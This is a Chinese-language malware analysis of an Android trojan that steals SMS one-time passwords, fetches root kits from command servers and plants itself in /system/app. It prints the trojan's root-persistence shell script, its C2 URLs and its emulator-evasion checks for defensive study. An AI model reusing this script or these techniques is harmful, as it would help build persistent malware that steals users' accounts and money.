阿里移動安全 · 2015/10/14 10:15
作者:逆巴,[email protected]
0x01 木馬介紹
攻擊者將木馬製作成使用者剛需應用,如色情類、生活服務類,或將惡意程式碼通過二次打包,注入到合法的應用當中,偽裝成為合法應用,上傳到android市場或某些論壇,誘導使用者下載。一旦使用者下載執行了此類應用,木馬通過雲端推送root 工具包,以及惡意應用;通過簡訊提取動態密碼,第一時間傳送給木馬作者,直接造成財產損失、隱私洩露等;木馬建立不死服務,後臺root裝置,成功root後將 惡意應用植入系統分割槽,使用者即使恢復出廠設定也無法完全解除安裝木馬。具體執行過程如下圖:
圖木馬執行流程
被感染應用以及惡意樣本數量過千類,以下列出“萬年曆,清澀笑話,特實惠, 魅力女生動態桌面,開心樂消消-歡樂版,內涵桌布,開心樂消消,全網充話費,極致腿模,好聽音樂,HoloTorch,情趣內涵電臺,Accurate Battery,Super Silent,心情天氣”
圖木馬圖示
0x02 樣本行為分析
樣本存在大量變種,以下對“偽萬年曆”樣本進行行為分析。木馬將惡意程式碼打包入正常應用。啟動“偽萬年曆”應用後,進入正常的日曆介面,而應用的Application 類作為惡意程式碼入口點。
圖“偽萬年曆”應用啟動介面
2.1監聽簡訊彩信,獲取動態驗證碼
提取簡訊中的動態密碼,第一時間轉發到指定號碼並截斷簡訊傳送,這樣使用者將在不之情的情況下,大量賬號被盜。攔截使用者簡訊彩信,提取到的動態密碼以及手機資訊傳送到雲端伺服器。直接造成財產損失,隱私洩露。
木馬動態註冊簡訊監聽廣播,通過類載入反射等技術進行具體的監控操作。當觸發簡訊訊息事件時,木馬會動態載入myjar.jar,反射呼叫smscheck函式。
圖動態註冊廣播監聽簡訊訊息
圖動態載入dex,反射呼叫smscheck函式
圖提取動態密碼程式碼
對smscheck函式分析,發現若攔截到的簡訊中存在動態密碼,病毒會第一時間傳送給指定號碼,同時會將動態密碼,以及當前手機資訊作為引數post提交到雲端伺服器。也就是木馬作者通過使用者手機號碼找回密碼,這樣輕鬆的盜取使用者賬號密碼,而中馬使用者完全不知曉。
圖將動態密碼傳送到指定手機
圖將攔截到簡訊傳送到指定伺服器
接下來過濾簡訊傳送者,將簡訊內容,傳送者手機號碼,以及手機imsi等發post到指定伺服器
跟蹤發現伺服器目錄,存放了中馬手機資訊以及root手機的工具
圖伺服器目錄檔案
2.2啟動LocationService
a 監聽廣播,觸發雲端互動,下載root 工具包和推廣的惡意應用
LocationService開啟任務執行緒,在任務執行緒裡動態註冊廣播,監聽網路變化,螢幕喚醒鎖屏,應用安裝解除安裝跟新等,監控廣播做為病毒行為觸發點。獲取手機資訊做為post引數,上傳到雲端伺服器。 (android.net.conn.CONNECTIVITY_CHANGE,android.intent.action.USER_PRESENT,android.intent.action.SCREEN_OFF,android.intent.action.SCREEN_ON,android.intent.action.PACKAGE_ADDED,android.intent.action.PACKAGE_CHANGED, android.intent.action.PACKAGE_REPLACED,android.intent.action.PACKAGE_REMOVED)
接下來對病毒下載雲端root 工具的分析。木馬首先向伺服器post手機的imei、imsi、解析度、手機號等基本資訊,伺服器返回加密的url指令,解碼url獲取下載Root手機所需的busybox、su、install-recovery.sh等工具
圖post 手機資訊到伺服器(http://api.wangyan9488.com:8285/api/getShell.jsp
),返回加密url
圖伺服器返回的加密url
圖shellv5.jar 裡的檔案 root 工具包
木馬本地解密url,獲取到root 工具下載源(http://222.21x.xxx.7:8661/apk/rootsheel/1438654068044948.jar),下載到手機後改名為“shellv5.jar”,其實是一壓縮包
採用同樣的過程下載root sdk,訪問伺服器http://api.wangyan9488.com:8287/api/getAttach.jsp,獲取加密url
圖加密root sdk url
木馬解密url,獲取下載源(http://222.21x.xxx.x:8661/apk/dlapp/14386539787043206.jar)下載jar檔案,下載到手機後改名為“dlv5.jar”。通過動態載入該檔案中的dex檔案,同時利用之前下載的工具獲取Root許可權,隨後將同名檔名的apk檔案植入到/system/app/下並安裝。該apk偽裝成系統“下載服務”,而自身是與母樣本偽萬年曆相同行為的木馬。
b 強制啟用裝置管理,防止解除安裝
利用裝置管理器缺陷,在取消啟用裝置管理之前,DevicePolicyManagerService會呼叫應用的onDisableRequested方法獲取取消啟用的警示資訊。下圖可以發現病毒在發現取消啟用時,會進行螢幕鎖屏之後進入系統setting 頁面,這樣一旦使用者啟用裝置將無法解除安裝。
圖取消裝置管理時螢幕鎖屏
c 最後啟動另外一個核心服務blueService
圖啟動BlueService服務
2.3 blueService服務
a 強制安裝ANDROID_SCREEN_ON_OFF.apk應用
偽裝成系統“下載管理”應用,同樣通過post手機資訊到雲端伺服器,get加密後的url,然後本地解密url獲取下載推廣的應用。同樣的程式碼模組啟用裝置管理防止解除安裝。
圖“下載管理”應用
圖“下載管理”啟用裝置管理
b root 手機
下圖為BlueService服務的任務執行緒,紅色框動態註冊RootReciver,當網路發生變化或手機鎖屏喚醒時,在後臺嘗試root。
圖blueService服務任務執行緒程式碼
檢測14425728404326709.apk是否被安裝,其實這是root之後安裝到系統目錄下的檔案,root的最終目的就是將惡意應用植入system目錄,偽裝成系統應用,長期駐留使用者裝置。木馬通過DexClassLoader載入雲端配置的rootDex,隨後反射呼叫getDex 函式進行root工作。下圖動態載入dex,反射呼叫getDex
圖動態載入dex,反射呼叫getDex
將雲端下載到sdcard/.xxx目錄裡的busybox,su 拷貝到應用檔案目錄,建立aa.xml檔案表示開始進行root 工作。下圖建立開始root檔案
圖建立開始root的flag檔案
將雲端下載在xxx目錄下的root 工具,拷貝到data/files目錄下,並在files目錄下建立psneuter.js
圖拷貝root 工具
root成功後將14425728404326709.apk 安裝到system/app目錄並啟動該應用。動態攔截髮現,本次分析下載的root sdk 工具包,應該是刷機大師的MTK ROOT方案。由於雲端配置靈活,下載獲取的root工具包靈活(根據手機版本等資訊,下載不同root工具包)。
圖root 手機程式碼
圖動態攔截返回
suc f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh psneuter.js
suc al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh psneuter.js
suc HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh psneuter.js
成功root後執行psneuter.js,木馬將成功偽裝成系統應用隱藏在使用者手機,即使恢復出廠設定也無法解除安裝。
psneuter.js檔案內容
#!bash
#!/system/bin/sh
mount -o rw,remount /system
/data/local/tmp/busybox mount -o rw,remount /system
cat /data/local/tmp/14425728404326709.apk > /system/app/14425728404326709.apk
chmod 0644 /system/app/14425728404326709.apk
pm install /system/app/14425728404326709.apk
mount -o ro,remount /system
/data/local/tmp/busybox mount -o ro,remount /system
echo "Now, script finish!”
複製程式碼
圖 root成功木馬偽裝系統軟體“下載服務”
c 不死服務LocationService, BlueService
只要保證兩大核心服務LocationService,BlueService 不死,就可以一直在後臺執行惡意程式碼。木馬在啟動核型服務LocationService,BlueService的同時,會註冊守護廣播,保證核心服務一直啟動。
圖啟動LocationService服務同時註冊守護廣播
守護服務的廣播,通過監聽螢幕開關、手機電量變化、時間更改,啟動被保護的服務。
圖守護廣播監聽的訊息
0x03 變種追蹤
該樣本存在大量變種,且都是由LocationService,BlueService核心服務演變而來,從最開始的惡意應用推廣到雲端root sdk配置,升級到通過簡訊盜號,對抗殺軟檢測在native層檢測執行環境等。
對變種木馬“內涵桌布”樣本分析,首先在native層檢查執行環境,若不是模擬器才啟動惡意廣播。這樣有效的躲避了動態引擎檢測,以及逆向分析人員分析。
圖native層啟動惡意廣播
模擬器檢查,若木馬執行環境在模擬器內,木馬將不會啟動惡意廣播。模擬檢查主要檢查cpuinfo是否為goldfish,裝置IDS是不是 “000000000000000”, imsi id是不是“310260000000000“,手機運營商等。
圖模擬器檢測
0x04 建議和解決方案
使用加固手段增加被惡意者二次打包的成本:如使用阿里聚安全應用加固方案,無需開發者修改原始碼或者二次開發,通過加殼,加密,邏輯混淆,程式碼隱藏等各類應用加固方法,防止應用被逆向分析,反編譯,以及二次打包嵌入各類病毒廣告等惡意程式碼。
使用者下載應用請到官方網站或安全應用市場,切勿點選任何色情連結,尤其是簡訊、QQ、微信等聊天工具中不熟識的“朋友”發來的連結。
如果不確定手機是否毒,可以安裝阿里錢盾等手機安全軟體,對手機上的應用進行檢測,防止高風險惡意應用的安裝。